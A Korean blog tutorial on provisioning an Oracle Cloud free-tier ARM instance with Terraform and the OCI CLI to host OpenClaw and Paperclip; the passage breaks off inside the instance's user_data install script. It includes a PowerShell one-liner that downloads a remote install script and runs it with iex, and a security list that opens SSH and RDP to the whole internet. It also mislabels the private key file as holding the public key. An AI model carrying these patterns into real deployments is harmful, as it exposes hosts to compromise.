&lt;figure id=&quot;og_1775069401322&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Oracle Cloud Free Tier Signup&quot; data-og-description=&quot;&quot; data-og-host=&quot;signup.cloud.oracle.com&quot; data-og-source-url=&quot;https://signup.cloud.oracle.com/&quot; data-og-url=&quot;https://signup.cloud.oracle.com/&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://signup.cloud.oracle.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://signup.cloud.oracle.com/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Oracle Cloud Free Tier Signup&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;signup.cloud.oracle.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무료 계정이 사용할 수 있는 사양은 다음과 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AMD 기반 표준 인스턴스 (최대 2개) - 1/8&amp;nbsp;OCPU,&amp;nbsp;1GB&amp;nbsp;RAM&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ARM 기반 Ampere A1 인스턴스 - 최대&amp;nbsp;4&amp;nbsp;OCPU,&amp;nbsp;24GB&amp;nbsp;RAM&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;b&gt;ARM&lt;/b&gt;을 통하여 인스턴스 생성을 다뤄 보도록하겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ARM은 스마트폰 기반 아키텍처이므로 호환성 문제와 도커 사용이 무리가 있습니다.&lt;br /&gt;하지만, OpenClaw 같은 오픈소스 활용하기에는 제약은 없습니다.&lt;br /&gt;&lt;br /&gt;OpenClaw 이용해서 도커나 다양한 걸 시도하고 싶으신 분은&lt;br /&gt;&lt;b&gt;hostinger 원클릭 서비스&lt;/b&gt;를 이용해보시거나 &lt;b&gt;로컬, 맥미니&lt;/b&gt; 이용하시길 바랍니다.&lt;br /&gt;&lt;a href=&quot;https://www.hostinger.com/kr?REFERRALCODE=SN6DNLDP5WL6&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.hostinger.com/kr?REFERRALCODE=SN6DNLDP5WL6&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Terraform 설치&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://developer.hashicorp.com/terraform/install&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://developer.hashicorp.com/terraform/install&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1775069571539&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Install | Terraform | HashiCorp Developer&quot; data-og-description=&quot;Explore Terraform product documentation, tutorials, and examples.&quot; data-og-host=&quot;developer.hashicorp.com&quot; data-og-source-url=&quot;https://developer.hashicorp.com/terraform/install&quot; data-og-url=&quot;https://developer.hashicorp.com/terraform/install&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/d6NnJZ/dJMb84p8XVR/jzmXM6XkB9Bf0xa9FLhq4K/img.jpg?width=3200&amp;amp;height=1800&amp;amp;face=0_0_3200_1800,https://scrap.kakaocdn.net/dn/vG9t0/dJMb81fSTSw/3boIE0vILpUgpYoatFSU0k/img.jpg?width=3200&amp;amp;height=1800&amp;amp;face=0_0_3200_1800&quot;&gt;&lt;a href=&quot;https://developer.hashicorp.com/terraform/install&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://developer.hashicorp.com/terraform/install&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/d6NnJZ/dJMb84p8XVR/jzmXM6XkB9Bf0xa9FLhq4K/img.jpg?width=3200&amp;amp;height=1800&amp;amp;face=0_0_3200_1800,https://scrap.kakaocdn.net/dn/vG9t0/dJMb81fSTSw/3boIE0vILpUgpYoatFSU0k/img.jpg?width=3200&amp;amp;height=1800&amp;amp;face=0_0_3200_1800');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Install | Terraform | HashiCorp Developer&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Explore Terraform product documentation, tutorials, and examples.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;developer.hashicorp.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 홈페이지 혹은 아래 코드를 통하여 &lt;b&gt;Terraform&lt;/b&gt;를 설치하도록합니다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1775069622184&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;winget install HashiCorp.Terraform
terraform -version&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Terraform이 OCI API를 호출하려면 &lt;b&gt;API Signing Key&lt;/b&gt;가 필요합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1775070253050&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Windows PS에서 PEM 키 쌍 생성
ssh-keygen -t rsa -b 2048 -f C:\Users\(사용자이름)\.ssh\my_key.pem -N &quot;&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1242&quot; data-origin-height=&quot;1288&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcSpLc/dJMcajn64FY/nUQdR4wkdtCK0JEnpWGe21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcSpLc/dJMcajn64FY/nUQdR4wkdtCK0JEnpWGe21/img.png&quot; data-alt=&quot;OCI 콘솔 &amp;amp;rarr; 우측 상단 프로필 아이콘 &amp;amp;rarr; 사용자 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcSpLc/dJMcajn64FY/nUQdR4wkdtCK0JEnpWGe21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcSpLc%2FdJMcajn64FY%2FnUQdR4wkdtCK0JEnpWGe21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;594&quot; height=&quot;616&quot; data-origin-width=&quot;1242&quot; data-origin-height=&quot;1288&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;OCI 콘솔 &amp;rarr; 우측 상단 프로필 아이콘 &amp;rarr; 사용자 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2838&quot; data-origin-height=&quot;1058&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uFZuv/dJMcagZhJGH/3SbOrxagHmAuedCPZwaEvk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uFZuv/dJMcagZhJGH/3SbOrxagHmAuedCPZwaEvk/img.png&quot; data-alt=&quot;좌측 메뉴 &amp;amp;rarr; API 키 &amp;amp;rarr; API 키 추가&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uFZuv/dJMcagZhJGH/3SbOrxagHmAuedCPZwaEvk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuFZuv%2FdJMcagZhJGH%2F3SbOrxagHmAuedCPZwaEvk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2838&quot; height=&quot;1058&quot; data-origin-width=&quot;2838&quot; data-origin-height=&quot;1058&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;좌측 메뉴 &amp;rarr; API 키 &amp;rarr; API 키 추가&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1816&quot; data-origin-height=&quot;1000&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bAwdRy/dJMcafe3Rly/z1D8LF6CkMyu028wBWvUdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bAwdRy/dJMcafe3Rly/z1D8LF6CkMyu028wBWvUdk/img.png&quot; data-alt=&quot;퍼블릭 키 붙여넣기 선택 &amp;amp;rarr; my_key.pem.pub 내용 붙여넣기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bAwdRy/dJMcafe3Rly/z1D8LF6CkMyu028wBWvUdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAwdRy%2FdJMcafe3Rly%2Fz1D8LF6CkMyu028wBWvUdk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1816&quot; height=&quot;1000&quot; data-origin-width=&quot;1816&quot; data-origin-height=&quot;1000&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;퍼블릭 키 붙여넣기 선택 &amp;rarr; my_key.pem.pub 내용 붙여넣기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;my_key.pem&lt;/b&gt;의 텍스트를 전부 복사합니다.&lt;br /&gt;(-----BEGIN PUBLIC KEY-----부터 -----END PUBLIC KEY-----까지 전부 포함해야 합니다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가 후 표시되는 구성 파일 미리보기에서 다음 값 확인합니다.: &lt;br /&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;- tenancy (Tenancy OCID) &lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;- user (User OCID)&lt;/b&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;- fingerprint&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;- region&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최종적으로 필요한 OCID 정보는 다음과 같습니다.&lt;br /&gt;&lt;b&gt;Tenancy OCID&lt;/b&gt;: 관리 &amp;rarr; 테넌시 세부정보&amp;nbsp;&lt;br /&gt;&lt;b&gt;User OCID&lt;/b&gt;: 프로필 &amp;rarr; 사용자 설정&amp;nbsp;&lt;br /&gt;&lt;b&gt;Compartment OCID&lt;/b&gt;: ID &amp;rarr; 구획 (root compartment = tenancy OCID)&amp;nbsp;&lt;br /&gt;&lt;b&gt;Availability Domain&lt;/b&gt;: 컴퓨트 &amp;rarr; 인스턴스 &amp;rarr; 인스턴스 생성 화면에서 확인&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;OCI CLI 설치&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테라폼이 오라클 계정에 로그인할 수 있도록 &lt;b&gt;OCI CLI&lt;/b&gt;를 설치하고 설정해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;PowerShell&lt;/b&gt;를 실행합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1775072045224&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 1. 스크립트 실행 권한 허용
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser

# 2. 설치 스크립트 다운로드 및 실행
powershell -ExecutionPolicy RemoteSigned -Command &quot;iex ([(Array)(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/oracle/oci-cli/master/scripts/install/install.ps1')])&quot;

oci -v

oci setup config&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치&amp;nbsp;후&amp;nbsp;&lt;b&gt;oci&amp;nbsp;setup&amp;nbsp;config&lt;/b&gt;&amp;nbsp;명령어를&amp;nbsp;입력합니다. &lt;br /&gt;&lt;br /&gt;이때 오라클 클라우드 콘솔에서 내 계정의 &lt;b&gt;User OCID&lt;/b&gt;와 &lt;b&gt;Tenancy OCID&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 현재 사용 중인 &lt;b&gt;리전 정보&lt;/b&gt;를 입력해야 합니다. &lt;br /&gt;&lt;br /&gt;설정 과정에서 API 서명 키는 이미 생성했으므로 스킵합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Terraform 적용&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 부터는 &lt;b&gt;IDE&lt;/b&gt; 사용하여 &lt;b&gt;AI 에이전트&lt;/b&gt;를 통해 &lt;b&gt;바이브코딩&lt;/b&gt;을 구성하여도 좋습니다.&lt;br /&gt;저는 다음과 같이 적용하였습니다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;oci-project/ &lt;/b&gt;&lt;br /&gt;&lt;b&gt;├──&amp;nbsp;infra/ &lt;/b&gt;&lt;br /&gt;&lt;b&gt;│&amp;nbsp;&amp;nbsp;&amp;nbsp;├──&amp;nbsp;provider.tf&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;OCI&amp;nbsp;프로바이더&amp;nbsp;인증&amp;nbsp;설정 &lt;/b&gt;&lt;br /&gt;&lt;b&gt;│&amp;nbsp;&amp;nbsp;&amp;nbsp;├──&amp;nbsp;variables.tf&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;compartment_id,&amp;nbsp;availability_domain &lt;/b&gt;&lt;br /&gt;&lt;b&gt;│&amp;nbsp;&amp;nbsp;&amp;nbsp;└──&amp;nbsp;main.tf&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;VCN,&amp;nbsp;서브넷,&amp;nbsp;보안&amp;nbsp;목록,&amp;nbsp;인스턴스 &lt;/b&gt;&lt;br /&gt;&lt;b&gt;├──&amp;nbsp;apps/ &lt;/b&gt;&lt;br /&gt;&lt;b&gt;│&amp;nbsp;&amp;nbsp;&amp;nbsp;├──&amp;nbsp;provider.tf &lt;/b&gt;&lt;br /&gt;&lt;b&gt;│&amp;nbsp;&amp;nbsp;&amp;nbsp;└── install_apps.tf&amp;nbsp;&amp;nbsp;# 앱 설치 (openclaw, paperclip 기타 오픈소스)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;└──&amp;nbsp;connect.rdp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;RDP&amp;nbsp;접속&amp;nbsp;파일&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;provider.tf&amp;nbsp;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;provider.tf&lt;/b&gt;는 OCI의 &lt;b&gt;계정 정보&lt;/b&gt;와 &lt;b&gt;인증 정보&lt;/b&gt;를 담습니다.&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;실제 운영 시에는 OCID, fingerprint를 terraform.tfvars나 환경변수로 분리하는것을 권고합니다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1775071178581&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# infra/provider.tf
provider &quot;oci&quot; {
  tenancy_ocid     = &quot;ocid1.tenancy.oc1..aaaa...&quot;   # Tenancy OCID
  user_ocid        = &quot;ocid1.user.oc1..aaaa...&quot;       # User OCID
  fingerprint      = &quot;9d:bd:22:ef:f8:b7:45:ff:...&quot;   # API 키 fingerprint
  private_key_path = &quot;C:/Users/(사용자이름)/.ssh/my_key.pem&quot;   # API 서명용 PEM 키
  region           = &quot;ap-seoul-1&quot;                     # 홈 리전
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;variables.tf&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;variables.tf&lt;/b&gt;는 입력하는 &lt;b&gt;변수&lt;/b&gt;에 대해서 지정합니다.&lt;br /&gt;상시 변화되는 값을 이곳에 분리 하여 저장하도록 관리 하였습니다.&lt;br /&gt;&lt;br /&gt;여기서 &lt;b&gt;인스턴스 가용성 도메인(AD)&lt;/b&gt;은 인스턴스 생성할 리전을 의미합니다.&lt;br /&gt;국내에서 생성 할 수 있는 무료 인스턴스가 한정 되어있기 때문에 오류가 발생한다면&lt;br /&gt;일본으로 변경하거나 다른 지역으로 변경해야합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1775071438386&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;variable &quot;compartment_id&quot; {
  description = &quot;OCI Compartment OCID (기본값: root tenancy)&quot;
  default     = &quot;ocid1.tenancy.oc1..aaaa...&quot;
}

variable &quot;availability_domain&quot; {
  description = &quot;인스턴스 가용성 도메인&quot;
  default     = &quot;GQyV:AP-SEOUL-1-AD-1&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;가용성 도메인 확인 방법&lt;/b&gt; &lt;br /&gt;&lt;br /&gt;&lt;b&gt;OCI&amp;nbsp;콘솔&lt;/b&gt;&amp;nbsp;또는&lt;b&gt;&amp;nbsp;CLI&lt;/b&gt;로&amp;nbsp;확인:&lt;/p&gt;
&lt;pre id=&quot;code_1775072283627&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;oci iam availability-domain list --compartment-id &amp;lt;테넌시_ocid&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;main.rf&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;main&lt;/b&gt;은 &lt;b&gt;VCN, 서브넷, 보안 목록, 인스턴스 항목&lt;/b&gt;을 정의 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 프로바이더 설정 (OCI) &lt;/b&gt;&lt;br /&gt;&lt;b&gt;2. VCN 및 서브넷 생성 &lt;/b&gt;&lt;br /&gt;&lt;b&gt;3. 인터넷 게이트웨이 및 라우팅 테이블 연결 &lt;/b&gt;&lt;br /&gt;&lt;b&gt;4. 보안 목록(Security List) 생성 (SSH, RDP 포트 개방) &lt;/b&gt;&lt;br /&gt;&lt;b&gt;5. Compute Instance (ARM) 생성 및 user_data (설치 스크립트) 적용&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 요구사항에 맞게 설정 하도록 합니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1580&quot; data-origin-height=&quot;1002&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/crD3gs/dJMcahjDLh9/3gZbiAakWegXdR3MMKZV4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/crD3gs/dJMcahjDLh9/3gZbiAakWegXdR3MMKZV4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/crD3gs/dJMcahjDLh9/3gZbiAakWegXdR3MMKZV4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcrD3gs%2FdJMcahjDLh9%2F3gZbiAakWegXdR3MMKZV4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;476&quot; data-origin-width=&quot;1580&quot; data-origin-height=&quot;1002&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1775072557843&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 1. 가상 네트워크 및 기본 보안 설정
resource &quot;oci_core_vcn&quot; &quot;paperclip_vcn&quot; {
  compartment_id = var.compartment_id
  cidr_block     = &quot;10.0.0.0/16&quot;
  display_name   = &quot;paperclip-vcn&quot;
  dns_label      = &quot;paperclip&quot;
}

resource &quot;oci_core_internet_gateway&quot; &quot;ig&quot; {
  compartment_id = var.compartment_id
  vcn_id         = oci_core_vcn.paperclip_vcn.id
  display_name   = &quot;internet-gateway&quot;
}

resource &quot;oci_core_default_route_table&quot; &quot;rt&quot; {
  manage_default_resource_id = oci_core_vcn.paperclip_vcn.default_route_table_id
  route_rules {
    destination       = &quot;0.0.0.0/0&quot;
    network_entity_id = oci_core_internet_gateway.ig.id
  }
}

resource &quot;oci_core_security_list&quot; &quot;paperclip_sl&quot; {
  compartment_id = var.compartment_id
  vcn_id         = oci_core_vcn.paperclip_vcn.id
  display_name   = &quot;paperclip-security-list&quot;

  ingress_security_rules { # SSH
    protocol = &quot;6&quot;
    source   = &quot;0.0.0.0/0&quot;
    tcp_options {
      min = 22
      max = 22
    }
  }

  ingress_security_rules { # Paperclip UI
    protocol = &quot;6&quot;
    source   = &quot;0.0.0.0/0&quot;
    tcp_options {
      min = 3100
      max = 3100
    }
  }

  # RDP 접속을 위한 3389 포트
  ingress_security_rules {
    protocol    = &quot;6&quot;
    source      = &quot;0.0.0.0/0&quot;
    description = &quot;Allow RDP&quot;
    tcp_options {
      min = 3389
      max = 3389
    }
  }

  ingress_security_rules { # OpenClaw Gateway
    protocol    = &quot;6&quot;
    source      = &quot;0.0.0.0/0&quot;
    description = &quot;Allow OpenClaw Gateway&quot;
    tcp_options {
      min = 18789
      max = 18789
    }
  }

  ingress_security_rules { # HTTPS &amp;mdash; OpenClaw Control UI
    protocol    = &quot;6&quot;
    source      = &quot;0.0.0.0/0&quot;
    description = &quot;Allow HTTPS (OpenClaw)&quot;
    tcp_options {
      min = 443
      max = 443
    }
  }

  ingress_security_rules { # HTTPS &amp;mdash; Paperclip
    protocol    = &quot;6&quot;
    source      = &quot;0.0.0.0/0&quot;
    description = &quot;Allow HTTPS (Paperclip)&quot;
    tcp_options {
      min = 3443
      max = 3443
    }
  }

  egress_security_rules {
    protocol    = &quot;all&quot;
    destination = &quot;0.0.0.0/0&quot;
  }
}

resource &quot;oci_core_subnet&quot; &quot;paperclip_subnet&quot; {
  cidr_block        = &quot;10.0.1.0/24&quot;
  compartment_id    = var.compartment_id
  vcn_id            = oci_core_vcn.paperclip_vcn.id
  display_name      = &quot;paperclip-subnet&quot;
  dns_label         = &quot;subnet1&quot;
  security_list_ids = [oci_core_security_list.paperclip_sl.id]
}

# 인스턴스 생성 (Ubuntu 24.04 ARM)
resource &quot;oci_core_instance&quot; &quot;paperclip_arm&quot; {
  availability_domain = var.availability_domain
  compartment_id      = var.compartment_id
  shape               = &quot;VM.Standard.A1.Flex&quot;

  shape_config {
    ocpus         = 4
    memory_in_gbs = 24
  }

  source_details {
    source_type = &quot;image&quot;
    source_id   = &quot;&amp;lt;OCI 콘솔에서 확인한 Ubuntu 24.04 ARM 이미지 OCID&amp;gt;&quot;
  }

  create_vnic_details {
    subnet_id        = oci_core_subnet.paperclip_subnet.id
    assign_public_ip = true
  }

  metadata = {
    ssh_authorized_keys = file(&quot;&amp;lt;SSH 공개키 경로, 예: ~/.ssh/my_key.pem.pub&amp;gt;&quot;)

    # Ubuntu 24.04 ARM용 자동 설치 스크립트 (오류 대비 강화)
    # ubuntu-desktop + xrdp 전용 구성
    user_data = base64encode(&amp;lt;&amp;lt;-EOT
      #!/bin/bash
      # ── 로그 설정: 모든 출력을 파일 + 콘솔에 동시 기록 ──
      LOG_FILE=&quot;/var/log/setup-script.log&quot;
      exec &amp;gt; &amp;gt;(tee -a &quot;$LOG_FILE&quot;) 2&amp;gt;&amp;amp;1
      echo &quot;=== 설치 시작: $(date '+%Y-%m-%d %H:%M:%S') ===&quot;

      # ════════════════════════════════════════════════════════════
      # 유틸리티 함수 정의
      # ════════════════════════════════════════════════════════════

      # apt 재시도 함수 (최대 5회, 실패마다 apt-get update 재실행)
      apt_install_with_retry() {
